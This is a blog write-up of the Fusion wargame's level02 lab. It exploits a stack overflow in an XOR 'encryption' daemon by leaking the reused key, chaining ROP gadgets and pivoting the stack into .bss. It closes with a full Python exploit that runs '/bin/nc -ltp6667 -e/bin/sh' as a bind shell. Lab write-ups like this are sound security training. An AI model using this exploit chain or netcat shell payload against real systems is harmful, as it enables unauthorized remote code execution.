Saturday, March 23, 2013

exploit-exercises Fusion: Level02

This is the write-up for level02 of exploit-exercises' Fusion wargame. This level deals with bypassing ASLR and NX/DEP security mechanisms to exploit a stack-based Buffer overflow vulnerability. The source code of the vulnerable program is provided as follow:
#include "../common/common.c"

#define XORSZ 32

void cipher(unsigned char *blah, size_t len)
{
  static int keyed;
  static unsigned int keybuf[XORSZ];

  int blocks;
  unsigned int *blahi, j;

  if(keyed == 0) {
    int fd;
    fd = open("/dev/urandom", O_RDONLY);
    if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
    close(fd);
    keyed = 1;
  }

  blahi = (unsigned int *)(blah);
  blocks = (len / 4);
  if(len & 3) blocks += 1;

  for(j = 0; j < blocks; j++) {
    blahi[j] ^= keybuf[j % XORSZ];
  }
}

void encrypt_file()
{
  // http://thedailywtf.com/Articles/Extensible-XML.aspx
  // maybe make bigger for inevitable xml-in-xml-in-xml ?
  unsigned char buffer[32 * 4096];

  unsigned char op;
  size_t sz;
  int loop;

  printf("[-- Enterprise configuration file encryption service --]\n");

  loop = 1;
  while(loop) {
    nread(0, &op, sizeof(op));
    switch(op) {
      case 'E':
        nread(0, &sz, sizeof(sz));
        nread(0, buffer, sz);
        cipher(buffer, sz);
        printf("[-- encryption complete. please mention "
        "474bd3ad-c65b-47ab-b041-602047ab8792 to support "
        "staff to retrieve your file --]\n");
        nwrite(1, &sz, sizeof(sz));
        nwrite(1, buffer, sz);
        break;
      case 'Q':
        loop = 0;
        break;
      default:
        exit(EXIT_FAILURE);
    }
  }
   
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  encrypt_file();
}
From a first glance, it is apparent that the vulnerability is caused by the nread(0, buffer, sz) call. Although nread() takes a size argument, the whole process is quite insecure due to the size variable's value being user-controlled with no other boundary restrictions.
Quick offset calculation yields:
(gdb) break encrypt_file
Breakpoint 1 at 0x8049800: file level02/level02.c, line 40.
(gdb) continue
Continuing.
[New process 2317]
[Switching to process 2317]

Breakpoint 1, encrypt_file () at level02/level02.c:40
40      level02/level02.c: No such file or directory.
        in level02/level02.c
(gdb) p $ebp - (int) &buffer + 4
$1 = (void *) 0x20010
Ignoring the cipher() part for the moment, in order to crash the daemon we have to send 'E' op, followed by the "file size" (4 bytes), followed by the file content.
However, this alone won't be enough, as the program will exit gracefully with
the exit(3) call instead of returning to the provided address as shown by below.
(gdb) tb exit
Temporary breakpoint 1 at 0xe349e0: file exit.c, line 99. 
kroosec@doj:~$ python -c "print 'E'+'\x14\x00\x02\x00'+'A'*0x20010+'B'*4" | ncat 192.168.25.2 20002 
(gdb) continue
Continuing.
[New process 2338]
[Switching to process 2338]

Temporary breakpoint 1, __GI_exit (status=1) at exit.c:99
99      exit.c: No such file or directory.
        in exit.c
(gdb) continue
Continuing.
[Inferior 2 (process 2338) exited with code 01]
We need to add the 'Q' op to force the loop variable to 0 and return from
encrypt_file() function.
kroosec@doj:~$ python -c "print 'E'+'\x14\x00\x02\x00'+'A'*0x20010+'B'*4+'Q'" | ncat 192.168.25.2 20002
(gdb) continue
Continuing.
[New process 2371]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 2371]
0x08049915 in encrypt_file () at level02/level02.c:62
62  in level02/level02.c
(gdb) x/i $eip
=> 0x8049915 <encrypt_file+286>:    ret
(gdb) i r $ebp
ebp            0xf326561b   0xf326561b
No 0x41414141 and 0x42424242 values ? Our input is overwritten by cipher() as
demonstrated below.
(gdb) break 49
Breakpoint 2 at 0x8049891: file level02/level02.c, line 49.
(gdb) continue
Continuing.
[New process 2381]
[Switching to process 2381]

Breakpoint 2, encrypt_file () at level02/level02.c:49
49  in level02/level02.c
Just before cipher() call
(gdb) x/2x $ebp
0xbfe60be8: 0x41414141  0x42424242
And after cipher() call
(gdb) n
50  in level02/level02.c
(gdb) x/2x $ebp
0xbfe60be8: 0x3c0cf79a  0x280a4404
cipher() will XOR the buffer with the content of keybuf. Keybuf's 128 bytes content is pseudo-randomly generated through /dev/urandom.
To write a certain value A in buffer, we need to send the result of its XOR with keybuf (A XOR K XOR K == A).
Can we "guess" keybuf's content in advance ? No.
However, as keyed is defined as static, it will be persistent through multiple cipher() calls, resulting in keybuf's (a static variable too) content to be generated only once and used for multiple encryptions. We have an information leak in the form of the cipher-text being sent back to us and as we know the plain-text part, it is easy to extract the key from there.
A wise/insane man in a crypto class told us once:"Key reuse, ahoy!"
We will send "E" + 128 in little endian + "A"*128, read the encrypted content, extract the key by XOR'ing it with "A"*128 and sending the PoC payload ("A"*0x020010 + "B"*0x4) after encrypting it with the key followed by "Q". (Python script to automate all the exploitation steps is at the end of the
article.) Here are the interesting parts of the crash:
(gdb) continue
Continuing.
[New process 2027]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 2027]
0x08049915 in encrypt_file () at level02/level02.c:62
62      in level02/level02.c
(gdb) x/i $eip
=> 0x8049915 <encrypt_file+286>:        ret
(gdb) x/4wx $esp
0xbfc7e9dc:     0x42424242      0x00000004      0x00004e22      0x00004e22
(gdb) i r $ebp
ebp            0x41414141       0x41414141
Yep, total control of EIP. It almost feels good to see these 0x42424242 and 0x41414141 values again.
Now, for the exploitation part. Return-Oriented Programming techniques are to be used in order to bypass the combination of ASLR and DEP. This works by chaining returns to useful gadgets (eg. pop eax; pop ebx; ret) which are stored in fixed addresses (not affected by ASLR, like .text segment.)
Fusion comes already with a useful tool called ROPGadget, which would let us
automate the process of searching for usable gadgets.
root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -gGadgets information
============================================================
0x080487f6: pop %edi | ret
0x08048815: add $0x08,%esp | pop %ebx | ret
0x08048818: pop %ebx | ret
0x08048b0f: add $0x04,%esp | pop %ebx | pop %ebp | ret
0x08048b12: pop %ebx | pop %ebp | ret
0x08048b13: pop %ebp | ret
0x08048b3f: call *%eax
0x08048b7f: sub $0xc9fffffd,%eax | ret
0x08048bc3: mov $0xc9fffffc,%ecx | ret
0x080499bc: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x080499d2: mov (%esp),%ebx | ret
0x080499f8: sub $0x04,%ebx | call *%eax
0x08049fe3: call *(%ebx)
[...]
First, let's start with laying out some foundations. A simple exit(33) call
using pop %ebx; ret; followed by call *(%ebx);
root@fusion:/opt/fusion/bin# objdump -R ./level02
[...]
0804b3c4 R_386_JUMP_SLOT   exit
[...]
The rop chain used is:
rop2 = "\x18\x88\x04\x08" + "\xc4\xb3\x04\x08" + "\xe3\x9f\x04\x08" + "\x21\x00\x00\x00"
0x08048818 is the address of the first gadget. 0x0804b3c4 is the address
containing the reference to exit() call in GOT. 0x08049fe3 is the address of the
second gadget. 0x21 == 33.
Launching the PoC, the gdb session expectedly gives:
(gdb) continue
Continuing.
[New process 1446]
[Inferior 18 (process 1446) exited with code 041]
(gdb) p 041
$5 = 33
Works as expected. The program exits with code 33.
From this point, a great amount of time was spent experimenting with possible variations. I started trying multiple variations and using multiple ROP gadgets finders (msfrop, ropeme), in order to get a system() execution with GOT Dereferencing technique (as explained in this presentation.)
Due to the lack of good gadgets, I decided to go for a two-stage exploit with fake frame instead (well detailed in this presentation from BHUS 2010) We will write our new stack frame in the readable/writable .bss section.
(gdb) maintenance info sections
Exec file:
    `/opt/fusion/bin/level02', file type elf32-i386.
    [...]
    0x804b420->0x804b500 at 0x00002418: .bss ALLOC
    [...]
There aren't many interesting function pointers in the GOT to use for data writing in this case.
After pop'ing a BBBB into ebp, will return to nread() which is in the .text section.
(gdb) p nread
$1 = {ssize_t (int, void *, size_t)} 0x804952d <nread>
With a crashing PoC that consists of:
junk = "A"*0x20010
bss = pack("<L", 0x0804b420)
nread = pack("<L", 0x0804952d)
fd = pack("<L", 0)
size = pack("<L", 100)
popebp = pack("<L", 0x08048b13)
ebp = "BBBB"
ret = "CCCC"
# pop ebp (BBBB); ret => nread(0, @bss, 100); ret => CCCC
stage0 = popebp + ebp + nread + ret + fd + bss + size
payload1 = junk + stage0
Followed by Q and then D*100, we get this gdb session.
(gdb) continue
Continuing.
[New process 1328]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 1328]
0x0804959f in nread (fd=Cannot access memory at address 0x4242424a
) at level02/../common/common.c:301
301     in level02/../common/common.c
(gdb) x/i $eip
=> 0x804959f <nread+114>:       ret
(gdb) x/4w $esp
0xbfa2f5a0:     0x43434343      0x00000000      0x0804b420      0x00000064
(gdb) i r ebp
ebp            0x42424242       0x42424242
(gdb) x/28wx 0x804b420
0x804b420 <environ@@GLIBC_2.0>: 0x44444444      0x44444444      0x44444444      0x44444444
0x804b430:      0x44444444      0x44444444      0x44444444      0x44444444
0x804b440 <stdout@@GLIBC_2.0>:  0x44444444      0x44444444      0x44444444      0x44444444
0x804b450:      0x44444444      0x44444444      0x44444444      0x44444444
0x804b460 <keyed.5339>: 0x44444444      0x44444444      0x44444444      0x44444444
0x804b470:      0x44444444      0x44444444      0x44444444      0x44444444
0x804b480 <keybuf.5340>:        0x44444444      0xddaac6e0      0x382778e5      0x754a34a4
Everything as expected. Time to weaponize the exploit.
First, returning to a leave+ret gadget which will let us rebase our stack frame.
fusion@fusion:/opt/fusion/bin$ objdump -d ./level02 | grep "leave" -A1 -m1
 8048b41:   c9                      leave
 8048b42:   c3                      ret
execve() entry in the program's PLT is:
fusion@fusion:/opt/fusion/bin$ objdump -d ./level02 | grep "<execve@plt>:"
080489b0 <execve@plt>:
And exit()'s is:
root@fusion:~# objdump -d /opt/fusion/bin/level02 | grep "<exit@plt>:"
08048960 <exit@plt>:
To sum the exploit, we will create a new stack frame for to execute execve("/bin/nc", {"/bin/nc", "-ltp6667", "-e/bin/sh", NULL}, NULL) to get a shell with a netcat session listening on tcp port 6667.
The full python script for the exploit is:

#! /usr/bin/env python
import socket
from time import sleep
from struct import pack

def encrypt(text, key, keysize):
    return "".join([chr(ord(x) ^ ord(key[ i % keysize])) for i, x in enumerate(text)])

def xorstr(a, b):
    if len(a) > len(b):
        return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)])
    else:
        return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])])

# Connect to target and receive 1st message.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.25.2", 20002))
sleep(0.5)
s.recv(1024)

# Send dummy data and extract key from response.
keysize = 128
dummy = "A"*keysize
s.send("E")
s.send(pack("<L", keysize))
s.send(dummy)
s.recv(2048)
temp = s.recv(2048)
encrypted = temp[-keysize:]
key = xorstr(dummy, encrypted)

# Test to detect any issues.
if len(key) != keysize or key.find("encryption") != -1:
    print "Key extraction fail."
    exit(1)

################ Exploit starts here. ##################
base = 0x0804b420 # Base of new frame.
junk = "A"*0x20010
bss = pack("<L", base)
nread = pack("<L", 0x0804952d)
fd = pack("<L", 0)
size = pack("<L", 100)
popebp = pack("<L", 0x08048b13)
ebp = bss
leaveret = pack("<L", 0x08048b41)
# pop ebp (.bss); nread(fd, @bss, size); leave (.bss) + ret (.bss+4)
stage0 = popebp + ebp + nread + leaveret + fd + bss + size
payload1 = junk + stage0

# Send Stage0 payload
cipher1 = encrypt(payload1, key, keysize)
s.send("E")
s.send(pack("<L", len(cipher1)))
s.send(cipher1)
print "stage0 SENT"
sleep(0.5)

# Clean socket.
s.recv(0xffffff)
s.send("Q")
sleep(0.5)

# Stage1.
null = pack("<L", 0x0) # Null pointer
filler = "DDDD" # placeholder junk.
execve = pack("<L", 0x080489b0) # execve@plt to launch backdoor.
exit = pack("<L", 0x08048960) # exit@plt for a graceful exit.
args = pack("<L", base + 24) # 2nd arg for execve() {"/bin/nc", "-lp6667", "-e/bin/sh", NULL}
envp = null # Third argument  for execve()

data_offset = 40 # filler + @execve + @exit + 3 execve args + args[4] == 40
# execve() arguments
binnc = pack("<L", base + data_offset)
ncarg1 = pack("<L", base + data_offset + 8) # -ltp6667 is 8 bytes after binnc
ncarg2 = pack("<L", base + data_offset + 17) # -e/bin/sh is 17 bytes after binnc


# Send Stage2 payload.
stage1 = filler + execve + exit + binnc + args + envp
stage1 += binnc + ncarg1 + ncarg2 + null
stage1 += "/bin/nc\x00" + "-ltp6667\x00" + "-e/bin/sh\x00"
junk = "E" * (100 - len(stage1))
s.send(stage1+junk)
print "stage1 SENT"
s.close()
Testing everything:
kroosec@doj:~$ ncat 192.168.25.2 6667
id

uid=20002 gid=20002 groups=20002
And that is it for level02!

No comments:

Post a Comment